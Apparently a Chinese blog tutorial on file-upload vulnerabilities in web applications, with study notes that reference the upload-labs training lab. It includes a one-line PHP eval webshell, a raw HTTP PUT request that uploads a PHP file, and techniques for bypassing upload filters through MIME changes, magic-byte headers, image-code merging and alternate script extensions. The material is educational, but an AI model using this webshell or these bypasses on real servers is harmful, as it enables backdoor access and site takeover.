<web渗透-文件上传漏洞>

(1) .简述
是web开发的必备功能之一,上传头像,上传共享文件,上传网站脚本等
如果服务器配置不当或者没有进行过滤,web用户上传任意文件
包括脚本文件,而exe程序等

.漏洞成因
文件上传漏洞的成因,一方吗服务器配置不当导致任意文件上传
web应用开发了文件上传功能,并且对上传的问件没有进行足够的限制
开发部署时没有考虑到系统特性和验证和过滤不严而导致被绕过,上传任意文件

.漏洞危害
上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本,程序等
如果web服务器保存的上传文件的可写目录具有执行权限
那么就可以直接上传后门文件,导致网站沦陷
如果攻击者通过其他漏洞进行提权操作,拿到系统管理权限那么就直接导致服务器
沦陷,同服务器所有网站都会沦陷

(2) “webshell”

   webshell 是一个网站的后门也是一个命令解释器
   不过以web方式(http协议)通信继承了web用户的权限
    webshell本质上是在服务器端运行可运行的脚本文件
     后缀名位.php .asp .aspx .jsp等
     webshell接受来自web用户的命令,在服务器端执行

   *大马  
      webshell 也是大马,也是网站木马
      代码比较大,是一个完整的.php .asp文件
      大马中可以进行文件管理,执行系统命令
   
   *小马
     小马就是一句话木马,其代码量比较小
     但是功能也很强大,需要配合上中国菜刀或者蚁剑客户端
    
     .列子
      <?php
      	@eval($_POST[777]);
      ?>
     中国菜刀就是一句话木马的命令接口
     并且实现三大基本功能

      @文件管理

      @虚拟终端

      @数据库管理

(3) .getshell
‘文件上传漏洞条件’
1-web服务器需开启上传功能,并且上传接口对外开放
2-web用户对目标目录具有可写权限,甚至具有执行权限
一般情况下,web目录都具有执行权限
3-要完美利用文件上传漏洞,就是上传的文件可以执行
也就是web服务器可以解析我们上传的脚本,
无论脚本以什么样的形式存在
4-无视以上条件的情况就是配置不当,开启了put方法

 .黑白名单策略
   URLBLACKlist
     禁止用户访问已阻止的网址,用户可以访问黑名单之外的所有网址
     不设置此策略:用户可以自由访问所有的网址

   URLWHITElist
   	 将此策略与URLBLACKlist搭配使用
   	 白名单优先级高于黑
   	 不设置此策略:网址黑名单将没有列外网址

*put方法上传文件(.已经过时但仍需要进行检查)
  HTTP 请求方法之一,允许服务器直接写入文件
   "1.Apache开启put方法"
     @测试Apache 是否开启了put方法
        
        telnet IP 
        OPTIONS / HTTP/1.1  //保证格式正确,并且手写
        HOST:IP
     
     @Apache开启put方法操作
       httped.conf 文件配置
      开启模块
        LoadModule dav_module modules/mod_dav.so
        LoadModule dav_fs_module modules/mod_fs_dav.so
       启用模块
        <Directory>
         添加
         DAV On
        </Directory>
       添加语句
        DavLockDB d:\phpstudy\www\DavLock
     
      www文件下创建文本
       DavLock
    
    "上传文件"
      telnet IP 
      PUT /info.php HTTP/1.1
      Content-Length:18
      
      <?php phpinfo();?>



 【1】前端限制与绕过
     有些web应用的文件上传功能仅在前端用js脚本做了检测,如检测文件后缀名
       upload-labs 第一关中就是
      .前端js脚本检测安全防御是非常弱的
         --js脚本运行环境客户端浏览器,可以直接修改JS代码
             甚至删除表单事件
         --burp代理修改头部相关属性

      .服务器段检测类型MIME类型

         MIME是描述消息内容的因特网标准
          MIME-type 
           js   application/x-javascript
           html text/html
           jpg  image/jepg
           png  image/png
           pdf  application/pdf
             在http协议中,使用Content-Type
              表示类型
           '利用burp修改类型'

        .服务器端检测内容
         '文件内容中头部加入'
           GIF89a
            info.gif
           
           列如:
           
            GIF89a
            <?php phpinfo();?>

          '合并图片和代码文本制作'
          	copy 1.jpg/b+info.php/a smile.jpg

          '将代码写入图片具有描述信息的文档中'

          
          '利用十六进制进行编辑'
           png 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
           JPG FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C
           GIF 47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33
           
            文件幻术
            将上述二进制写入文件头部
            
            info.php
            16(png字符)进制编码
            <>

		.服务器端检测文件名
			不允许上传一些php|asp|aspx|jsp 等可执行脚本文件

		 @ 黑名单
		    代码中$deny_ext 数据就是一个黑名单
		    对于黑名单,我们可以寻找其他可允许上传的类型
		    来绕过限制

		   可以执行脚本后缀名
		    .php php2 php3 php5 phtml
		    .asp aspx ascx ashx asa
		    .cer 
		    .jsp .jspx
             
   @ 白名单
      对于后缀名白名单策略,我们只能上传在白名单内的文件后缀名
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值